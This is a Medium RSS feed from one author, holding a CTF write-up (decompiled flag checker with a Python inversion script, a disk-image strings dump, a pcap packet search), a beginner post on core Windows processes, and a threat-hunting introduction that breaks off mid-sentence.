<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by A1iw4r3 on Medium]]></title>
        <description><![CDATA[Stories by A1iw4r3 on Medium]]></description>
        <link>https://medium.com/@A1iw4r3?source=rss-ebed99854956------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*VKfZH31FiD1EhLCe523nsw.png</url>
            <title>Stories by A1iw4r3 on Medium</title>
            <link>https://medium.com/@A1iw4r3?source=rss-ebed99854956------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 22:58:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@A1iw4r3/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Ignite CTF Pre-Qualification Round]]></title>
            <link>https://medium.com/@A1iw4r3/ignite-ctf-pre-qualification-round-ff946b74d410?source=rss-ebed99854956------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff946b74d410</guid>
            <dc:creator><![CDATA[A1iw4r3]]></dc:creator>
            <pubDate>Wed, 16 Oct 2024 13:59:56 GMT</pubDate>
            <atom:updated>2026-02-08T03:10:33.904Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*T2hyGXTdBpgJlLEi4yligQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NUgkQVKP_nWg1UhDUpNCEA.jpeg" /></figure><h3><strong>Capture The Flag:</strong></h3><p><strong>Mapping</strong></p><p><strong>Category:</strong> Reverse Engineering</p><p>I decompiled the code of binary using Ghidra tool. Copied the main function, mapping_c, and mapping_s function (decompiled) code, gave them to Chatgpt and ask it to give reverse script. It gave me reverse script of python.</p><p><strong>Main function:</strong></p><pre>undefined8 main(void)<br><br>{<br>  int iVar1;<br>  size_t sVar2;<br>  undefined8 uVar3;<br>  long in_FS_OFFSET;<br>  undefined8 local_70;<br>  char local_68 [48];<br>  char local_38 [40];<br>  long local_10;<br>  <br>  local_10 = *(long *)(in_FS_OFFSET + 0x28);<br>  printf(&quot;Enter your flag: &quot;);<br>  fgets(local_68,0x21,stdin);<br>  local_70 = strlen(local_68);<br>  if (local_68[local_70 - 1] == &#39;\n&#39;) {<br>    local_68[local_70 - 1] = &#39;\0&#39;;<br>  }<br>  sVar2 = strlen(local_68);<br>  if (sVar2 == 0x20) {<br>    mapping_s(local_68,local_38);<br>    iVar1 = strcmp(local_38,&quot;elovNBl IY&gt;}Cja$z!iWO(Pk9F6[I@bp&quot;);<br>    if (iVar1 == 0) {<br>      puts(&quot;Correct flag!&quot;);<br>    }<br>    else {<br>      puts(&quot;Incorrect flag!&quot;);<br>    }<br>    uVar3 = 0;<br>  }<br>  else {<br>    printf(&quot;Invalid flag length! Expected %d characters.\n&quot;,0x20);<br>    uVar3 = 1;<br>  }<br>  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {<br>                    /* WARNING: Subroutine does not return */<br>    __stack_chk_fail();<br>  }<br>  return uVar3;<br>}</pre><p><strong>c_mapping:</strong></p><pre>int mapping_c(char param_1)<br><br>{<br>  return (param_1 * 0x11 + 0x2d) % 0x5f + 0x20;<br>}</pre><p><strong>s_mapping:</strong></p><pre><br>void mapping_s(char *param_1,long param_2)<br><br>{<br>  undefined uVar1;<br>  size_t sVar2;<br>  int local_1c;<br>  <br>  local_1c = 0;<br>  while( true ) {<br>    sVar2 = strlen(param_1);<br>    if (sVar2 &lt;= (ulong)(long)local_1c) break;<br>    uVar1 = mapping_c((int)param_1[local_1c]);<br>    *(undefined *)(local_1c + param_2) = uVar1;<br>    local_1c = local_1c + 1;<br>  }<br>  sVar2 = strlen(param_1);<br>  *(undefined *)(sVar2 + param_2) = 0;<br>  return;<br>}</pre><p>Chatgpt provided me reverse of above code in python</p><pre>mapped_flag = &quot;elovNBl IY&gt;}Cja$z!iWO(Pk9F6[I@bp&quot;<br>inverse = 28  # Inverse of 17 modulo 95<br>original_flag = &#39;&#39;<br><br>for mapped_char in mapped_flag:<br>    mapped_ord = ord(mapped_char)<br>    s = (mapped_ord - 77) % 95<br>    input_char_ord = (s * inverse) % 95<br>    if input_char_ord &lt; 32:<br>        input_char_ord += 95<br>    input_char = chr(input_char_ord)<br>    original_flag += input_char<br><br>print(f&quot;Original flag: {original_flag}&quot;)</pre><p>It gave me flag</p><pre>─(kali㉿kali)-[~/ctf/ignite-prequalification/reverse]<br>└─$ python3 exploit.py <br>Original flag: flag{HlFN37md4UWxbwZ8hTPiYtkNoq}</pre><h3>Defense:</h3><p><strong>third.dmg</strong></p><pre>┌──(kali㉿kali)-[~/ctf/ignite-prequalification/blue]<br>└─$ file third.dmg              <br>third.dmg: zlib compressed data<br><br>┌──(kali㉿kali)-[~/ctf/ignite-prequalification/blue]<br>└─$ strings third.dmg <br>a``d<br>K=|iI<br>K]]?<br>G&gt;5~<br>g{|H<br> :I(<br> T|a<br>7Irj<br>ea3ex<br>sZw&lt;<br>!Q@a<br>b|f%P<br>&lt;EGI@<br>I+4U)<br>7Uhc<br>hU/g<br>&quot; &#39;d<br>|7J{<br>%jZC<br>*+&#39;9<br>VK{Q<br>VVR[<br>lSy~<br>anOwq<br>{;,;]<br>zK^U<br>%nE$<br>d=/yU<br>O`QE<br>#X.YR<br>jMtO<br>LJ~p0<br>;O1S<br>AIm[<br>3@9K<br>L-ZGr<br>G2ID<br>+I-&amp;[<br>c#&amp;d=NU<br>!k&#39;-*<br>_\2bd<br>&lt;;^[<br>^&#39;WR<br>vUmo<br>7P[3<br>Le[Gy<br>kZ e<br>gQ)d#<br>7BnX;<br>sTlQ<br>v55uj<br>k4nv<br>5GT\<br>z,{)<br>p.e/<br>k,]=<br>\=xk<br>&quot;*aU<br>cWrl5<br>9&amp;8v<br>cD&lt;+bAC<br>haU|n$V<br>H,1=<br>RjwP<br>uY.^<br>;HdE<br>R1-W<br>ydd,<br>GdY&#39;<br>AH g<br>U2\,<br>J|&gt;m<br>G{5R,<br>`|&lt;^8I<br>&#39;|F$F%/<br>V_i,h5<br>X$6?*<br>Hk8`<br>V-&amp;p<br>~B?9+<br>4DrB<br>Mzm$]&gt;_dr<br>h,.)<br>&lt;&gt;Pq<br>()1O<br>H$Vj<br>|-dj7[<br>tMj <br>M&gt;jn<br>4M!=P<br>=+??<br>*)wH<br>f)wH9<br>#IXe<br>h)wJ<br>&lt;xDw<br>_I&gt;A<br>?U&amp;:<br>m8g*T[<br>OnPG<br>w&amp;kj<br>jhnI]c<br>J2gT<br>&#39;rhvn<br>[h&quot;(R<br>3NZ0|qd9<br>#/Gti<br>ub 9<br>VF9U<br>[Y&lt;E<br>,BDt<br>-[PZ{nM<br>F^^y<br>&amp;w/_<br>:c,;m<br>y`nOwq#A<br>iQ#&amp;<br>s(\okP<br>3_~wr<br>Kr{S<br>BO;L<br>G6tdhO<br>e7Ls<br>;\O(=<br>f?5_<br>Dfrf<br>0Fy6<br>m\]*L<br>&lt;[J]O<br>y^ZO<br>v7&amp;S\<br>jCgP<br>~Fm&lt;Yj<br>?H!=m?<br>EeuS<br>edlz7<br>&amp;u^wLu<br>Gk[n<br>,;/P<br>N1-*<br>t,W1<br>pCL7<br>iX.b<br>Skh^<br>lE0,<br>IZ?o:<br>gDbT<br>FjN.<br>2be&amp;<br>Hk8`<br>~rV.8;hp<br>b=fT<br>jp5~<br>[)&#39;M<br>&lt;_dj<br>&gt;_IIy<br>U%hfY&amp;<br>]Wu&gt;<br>57N\<br>5rj{WjL<br>?Hc[<br>yR^&#39;eC<br>OK9)<br>:)gg[<br>J9Ar<br>[_v7q<br>U{|]<br>#msp<br>!W[2e<br>j, _C<br>_D~1<br>/ _O&gt;L&gt;B&gt;J<br>_A~%<br>Mi?c<br>uerW<br>6bWMp6uf<br>umIH<br>ejjk<br>sk,FS<br>-jFK<br>l7&lt;&#39;<br>L)R9L<br>@+M&#39;<br> \1y<br>sC;h<br>!_{.<br>j=d#/<br>&quot;Qz@ QE<br>C~@_<br>MW&amp;}C!G<br>vg s<br>KGW:<br>Rh(:<br>ACk&gt;<br>E{s.<br>Jj|sx<br>&amp;P0co<br>?AHJ<br>A6R5<br>[VDA<br>Tl?)<br>f4|O<br>FGC&lt;<br>{ z*<br>a``d<br>a``H<br>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;!DOCTYPE plist PUBLIC &quot;-//Apple//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&gt;<br>&lt;plist version=&quot;1.0&quot;&gt;<br>&lt;dict&gt;<br> &lt;key&gt;resource-fork&lt;/key&gt;<br> &lt;dict&gt;<br>  &lt;key&gt;blkx&lt;/key&gt;<br>  &lt;array&gt;<br>   &lt;dict&gt;<br>    &lt;key&gt;Attributes&lt;/key&gt;<br>    &lt;string&gt;0x0050&lt;/string&gt;<br>    &lt;key&gt;CFName&lt;/key&gt;<br>    &lt;string&gt;Protective Master Boot Record (MBR : 0)&lt;/string&gt;<br>    &lt;key&gt;Data&lt;/key&gt;<br>    &lt;data&gt;<br>    bWlzaAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAA<br>    AAgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAIAAAAgnXxTIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAACgAAABQAAAAMAAAAAAAAAAAAAAAAAAAABAAAA<br>    AAAAWRcAAAAAAAAAH/////8AAAAAAAAAAAAAAAEAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAA=<br>    &lt;/data&gt;<br>    &lt;key&gt;ID&lt;/key&gt;<br>    &lt;string&gt;-1&lt;/string&gt;<br>    &lt;key&gt;Name&lt;/key&gt;<br>    &lt;string&gt;Protective Master Boot Record (MBR : 0)&lt;/string&gt;<br>   &lt;/dict&gt;<br>   &lt;dict&gt;<br>    &lt;key&gt;Attributes&lt;/key&gt;<br>    &lt;string&gt;0x0050&lt;/string&gt;<br>    &lt;key&gt;CFName&lt;/key&gt;<br>    &lt;string&gt;GPT Header (Primary GPT Header : 1)&lt;/string&gt;<br>    &lt;key&gt;Data&lt;/key&gt;<br>    &lt;data&gt;<br>    bWlzaAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAAA<br>    AAgIAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAIAAAAgxlg3sQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAACgAAABQAAAAMAAAAAAAAAAAAAAAAAAAABAAAA<br>    AAAAWMoAAAAAAAAATf////8AAAAAAAAAAAAAAAEAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAA=<br>    &lt;/data&gt;<br>    &lt;key&gt;ID&lt;/key&gt;<br>    &lt;string&gt;0&lt;/string&gt;<br>    &lt;key&gt;Name&lt;/key&gt;<br>    &lt;string&gt;GPT Header (Primary GPT Header : 1)&lt;/string&gt;<br>   &lt;/dict&gt;<br>   &lt;dict&gt;<br>    &lt;key&gt;Attributes&lt;/key&gt;<br>    &lt;string&gt;0x0050&lt;/string&gt;<br>    &lt;key&gt;CFName&lt;/key&gt;<br>    &lt;string&gt;GPT Partition Data (Primary GPT Table : 2)&lt;/string&gt;<br>    &lt;key&gt;Data&lt;/key&gt;<br>    &lt;data&gt;<br>    bWlzaAAAAAEAAAAAAAAAAgAAAAAAAAAgAAAAAAAAAAAA<br>    AAgIAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAIAAAAgaQznZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAACgAAABQAAAIcAAAAAAAAAAAAAAAAAAAAgAAAA<br>    AAAAAAAAAAAAAAAAs/////8AAAAAAAAAAAAAACAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAA=<br>    &lt;/data&gt;<br>    &lt;key&gt;ID&lt;/key&gt;<br>    &lt;string&gt;1&lt;/string&gt;<br>    &lt;key&gt;Name&lt;/key&gt;<br>    &lt;string&gt;GPT Partition Data (Primary GPT Table : 2)&lt;/string&gt;<br>   &lt;/dict&gt;<br>   &lt;dict&gt;<br>    &lt;key&gt;Attributes&lt;/key&gt;<br>    &lt;string&gt;0x0050&lt;/string&gt;<br>    &lt;key&gt;CFName&lt;/key&gt;<br>    &lt;string&gt; (Apple_Free : 3)&lt;/string&gt;<br>    &lt;key&gt;Data&lt;/key&gt;<br>    &lt;data&gt;<br>    bWlzaAAAAAEAAAAAAAAAIgAAAAAAAAAGAAAAAAAAAAAA<br>    AAgIAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAIAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAACAAAAAgAAAIcAAAAAAAAAAAAAAAAAAAAGAAAA<br>    AAAAALMAAAAAAAAAAP////8AAAAAAAAAAAAAAAYAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAA=<br>    &lt;/data&gt;<br>    &lt;key&gt;ID&lt;/key&gt;<br>    &lt;string&gt;2&lt;/string&gt;<br>    &lt;key&gt;Name&lt;/key&gt;<br>    &lt;string&gt; (Apple_Free : 3)&lt;/string&gt;<br>   &lt;/dict&gt;<br>   &lt;dict&gt;<br>    &lt;key&gt;Attributes&lt;/key&gt;<br>    &lt;string&gt;0x0050&lt;/string&gt; <br>    &lt;key&gt;CFName&lt;/key&gt;<br>    &lt;string&gt;disk image (Apple_APFS : 4)&lt;/string&gt;<br>    &lt;key&gt;Data&lt;/key&gt;<br>    &lt;data&gt;<br>    bWlzaAAAAAEAAAAAAAAAKAAAAAAAAFGAAAAAAAAAAAAA<br>    AAgIAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAIAAAAgjh57fwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAEgAAABQAAAIcAAAAAAAAAAAAAAAAAAATQAAAA<br>    AAAAAdgAAAAAAABPQgAAAAIAAACHAAAAAAAABNAAAAAA<br>    AAADCgAAAAAAAFEaAAAAAAAAAAAAAAACAAAAAAAAAAAA<br>    AAfaAAAAAAAASaYAAAAAAAAAAAAAAAAAAAAA/////wAA<br>    AAAAAAAAAABRgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AA==<br>    &lt;/data&gt;<br>    &lt;key&gt;ID&lt;/key&gt;<br>    &lt;string&gt;3&lt;/string&gt;<br>    &lt;key&gt;Name&lt;/key&gt;<br>    &lt;string&gt;disk image (Apple_APFS : 4)&lt;/string&gt;<br>   &lt;/dict&gt;<br>   &lt;dict&gt;<br>    &lt;key&gt;Attributes&lt;/key&gt;<br>    &lt;string&gt;0x0050&lt;/string&gt;<br>    &lt;key&gt;CFName&lt;/key&gt;<br>    &lt;string&gt; (Apple_Free : 5)&lt;/string&gt;<br>    &lt;key&gt;Data&lt;/key&gt;<br>    &lt;data&gt;<br>    bWlzaAAAAAEAAAAAAABRqAAAAAAAAAAFAAAAAAAAAAAA<br>    AAgIAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAIAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAACAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAFAAAA<br>    AAAAAAAAAAAAAAAAAP////8AAAAAAAAAAAAAAAUAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAA=<br>    &lt;/data&gt;<br>    &lt;key&gt;ID&lt;/key&gt;<br>    &lt;string&gt;4&lt;/string&gt;<br>    &lt;key&gt;Name&lt;/key&gt;<br>    &lt;string&gt; (Apple_Free : 5)&lt;/string&gt;<br>   &lt;/dict&gt;<br>   &lt;dict&gt;<br>    &lt;key&gt;Attributes&lt;/key&gt;<br>    &lt;string&gt;0x0050&lt;/string&gt;<br>    &lt;key&gt;CFName&lt;/key&gt;<br>    &lt;string&gt;GPT Partition Data (Backup GPT Table : 6)&lt;/string&gt;<br>    &lt;key&gt;Data&lt;/key&gt;<br>    &lt;data&gt;<br>    bWlzaAAAAAEAAAAAAABRrQAAAAAAAAAgAAAAAAAAAAAA<br>    AAgIAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAIAAAAgaQznZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAACgAAABQAAAAUAAAAAAAAAAAAAAAAAAAAgAAAA<br>    AAAAANcAAAAAAAAAs/////8AAAAAAAAAAAAAACAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAA=<br>    &lt;/data&gt;<br>    &lt;key&gt;ID&lt;/key&gt;<br>    &lt;string&gt;5&lt;/string&gt;<br>    &lt;key&gt;Name&lt;/key&gt;<br>    &lt;string&gt;GPT Partition Data (Backup GPT Table : 6)&lt;/string&gt;<br>   &lt;/dict&gt;<br>   &lt;dict&gt;<br>    &lt;key&gt;Attributes&lt;/key&gt;<br>    &lt;string&gt;0x0050&lt;/string&gt;<br>    &lt;key&gt;CFName&lt;/key&gt;<br>    &lt;string&gt;GPT Header (Backup GPT Header : 7)&lt;/string&gt;<br>    &lt;key&gt;Data&lt;/key&gt;<br>    &lt;data&gt;<br>    bWlzaAAAAAEAAAAAAABRzQAAAAAAAAABAAAAAAAAAAAA<br>    AAgIAAAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAIAAAAgpx30PAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAACgAAABQAAAAUAAAAAAAAAAAAAAAAAAAABAAAA<br>    AAAAAYoAAAAAAAAATv////8AAAAAAAAAAAAAAAEAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAA=<br>    &lt;/data&gt;<br>    &lt;key&gt;ID&lt;/key&gt;<br>    &lt;string&gt;6&lt;/string&gt;<br>    &lt;key&gt;Name&lt;/key&gt;<br>    &lt;string&gt;GPT Header (Backup GPT Header : 7)&lt;/string&gt;<br>   &lt;/dict&gt;<br>  &lt;/array&gt;<br>  &lt;key&gt;plst&lt;/key&gt;<br>  &lt;array&gt;<br>   &lt;dict&gt;<br>    &lt;key&gt;Attributes&lt;/key&gt;<br>    &lt;string&gt;0x0050&lt;/string&gt;<br>    &lt;key&gt;Data&lt;/key&gt;<br>    &lt;data&gt;<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>    AAAAAAAAAAAA<br>    &lt;/data&gt;<br>    &lt;key&gt;ID&lt;/key&gt;<br>    &lt;string&gt;0&lt;/string&gt;<br>    &lt;key&gt;Name&lt;/key&gt;<br>    &lt;string&gt;&lt;/string&gt;<br>   &lt;/dict&gt;<br>  &lt;/array&gt;<br> &lt;/dict&gt;<br>&lt;/dict&gt;<br>&lt;/plist&gt;<br>Koly</pre><p>Above indicated that Apple disk image</p><p>I download <a href="https://reincubate.com/dmg-extractor/">DMG_Extractor</a> and as name suggest flag is in third file, I extracted and got flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*RKx5GCcPyUtddfB57lAeOw.png" /></figure><p><strong>Warrior:</strong></p><p>I downloaded the pcap challenge file. We were asked to find the packet number which indicated data transfer after compromise. The idea came to mind was that I had to find stream which was indicating the data transfer. I checked different protocols like FTP, DNS, HTTP, SNMB but couldn’t find anything. I checked tcp stream one by one by changing number at the end I found plain text data transfer. That indicated, data was transferred.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*898jFYktBQaOVrUzx4Fhug.png" /></figure><p>After finding plain text data transfer, I started finding the number of packed which indicated that data is transferred. This string ‘echo “{this_is_admin_creds}” &gt; admin_creds.txt’ helped me find the number of packet.</p><p>flag:</p><pre>flag{1196}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*sRy8UOYej6afCRruRZ7hpQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff946b74d410" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Core Windows Processes]]></title>
            <link>https://medium.com/@A1iw4r3/core-windows-processes-0f756cea0418?source=rss-ebed99854956------2</link>
            <guid isPermaLink="false">https://medium.com/p/0f756cea0418</guid>
            <dc:creator><![CDATA[A1iw4r3]]></dc:creator>
            <pubDate>Sun, 11 Aug 2024 14:03:36 GMT</pubDate>
            <atom:updated>2024-08-11T14:37:14.017Z</atom:updated>
            <content:encoded><![CDATA[<p>Before discussing the Windows Core Process, let’s us review some important tools that assist us in monitoring different Process and resources of system.</p><p><strong>Task Manager:</strong></p><p>Windows GUI built in utility helps user to monitor resources like memory, CPU, GPU, Disk, Network and Processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*JL4xdurnkxEnqHHnA4EcgA.png" /></figure><p><strong>Process Hacker:</strong></p><p>Powerful, multi-purpose tool assists in system monitoring and detecting malwares.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*I_D4TKLMC9EXQqPtul5FPA.png" /></figure><p>Above tools can provide aid to users investigating and studying different processes and let’s move ahead to our main topic that is<strong> Core Process of Windows</strong>.</p><p><strong>System Process:</strong></p><p>It is special process that manages important tasks of your computer. It runs in background and essential for operating system to function correctly. It runs in kernel mode. PID of system process will always be 4.</p><p><strong>smss.exe Process:</strong></p><p>smss.exe (session Manager Subsystem). It creates and manages different session of within computer. It creates different sessions for different processes to run like OS related processes are laid in session 0 while user mode processes are laid in different sessions. It starts three important sub processes i.e. csrss.exe, wininit.exe and winlogon.exe.</p><p><strong>csrss.exe Process:</strong></p><p>csrss.exe (Client-Server Runtime Process). It manages command prompt, threads, drive letters (C:\, D:\) and shutdown process. If process is accidently or intentionally terminated then your computer will crash.</p><p><strong>wininit.exe Process:</strong></p><p>wininit.exe (Windows Initialize Process). Critical Process plays vital role in getting your PC up and run properly. It runs different background services after system startup.</p><p><strong>winlogon.exe:</strong></p><p>Crucial process responsible for handling user login and several security functions. Handles screen locking and running screensaver.</p><p><strong>Conclusion:</strong></p><p>Core Windows processes like smss.exe, csrss.exe, wininit.exe, and winlogon.exe is crucial for maintaining the security and stability of a system. Tools like Task Manager and Process Hacker are essential for tracking these processes, detecting anomalies, and safeguarding against potential malware threats. Effective monitoring helps ensure that these critical processes function correctly, preventing system crashes and unauthorized access.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0f756cea0418" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Threat Hunting]]></title>
            <link>https://medium.com/@A1iw4r3/threat-hunting-2d15fa106472?source=rss-ebed99854956------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d15fa106472</guid>
            <dc:creator><![CDATA[A1iw4r3]]></dc:creator>
            <pubDate>Fri, 02 Aug 2024 04:15:16 GMT</pubDate>
            <atom:updated>2024-08-02T04:17:51.304Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*oqwZRhGdB_i1I7zDSjUJyg.png" /></figure><p><strong>What is Threat Hunting?</strong></p><p>Actively search hidden threats within your system and network before they cause harm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*IeemAOzu13owWnAp9xzodw.png" /></figure><p><strong>Process of Threat Hunting</strong></p><p>Before starting threat hunting, 2 questions must be in our mind that will lead us to achieving our goal successfully.</p><p>1. What do we hunt for</p><p>2. How do we hunt for</p><p><strong>What do we hunt for?</strong></p><p><strong>Known Relevant Malware:</strong></p><p>Identify the threat actors that might target your organization. Hunt for traces of malware that threat actors use within your organization. Internet has malware sample, often detail with public analysis.</p><p><strong>Resources:</strong> theZoo, Trend Micro’s Threat Encyclopedia</p><p><strong>Attack Residues:</strong></p><p>If you suspect an attack has already been occurred look for evidence left behind. It is challenging to find attack residues from normal behavior especially against attackers who hide their tracks well.</p><p><strong>Known Vulnerabilities of Applications:</strong></p><p>Threat actors exploit vulnerabilities in the products and applications your organization uses. Stay 